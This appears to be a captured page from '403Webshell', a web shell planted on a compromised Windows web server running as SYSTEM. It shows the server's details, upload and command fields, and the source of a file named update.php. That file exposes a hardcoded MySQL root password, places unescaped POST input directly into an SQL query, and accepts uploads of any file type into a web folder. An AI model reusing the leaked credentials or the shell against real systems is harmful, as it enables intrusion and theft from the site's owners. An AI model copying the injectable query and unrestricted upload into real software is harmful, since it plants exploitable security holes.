403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/move/url/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/move/url//update.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<?php 
/* Database connection start */
$mysqli = new mysqli('localhost','root','sesao8@2558','url');
$mysqli->set_charset('utf8');
$table = "short_url";
/* Database connection end */

$title= $_POST['title'];
$url= $_POST['url'];
$details= $_POST['details'];
$today=date("dmY");

		$file_tmp=$_FILES["fileUpload"]["tmp_name"];	
		$file_name=$_FILES["fileUpload"]["name"];
			$array_last = explode(".",$file_name);
			$c=count($array_last) - 1;
			$lastname=strtolower($array_last[$c]);
		    $filenew =date("Ydm-His"). "$today." .$lastname;
 

		if(move_uploaded_file($file_tmp,"photos/".$filenew))
		{

$mysqli->query("INSERT INTO $table(title, image, yurl, details) VALUES ('$title','".$filenew."','$url','$details')") or die (mysqli_error());				
			} 
echo "<meta http-equiv=refresh content=0;URL=index.php>";			

//}


?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit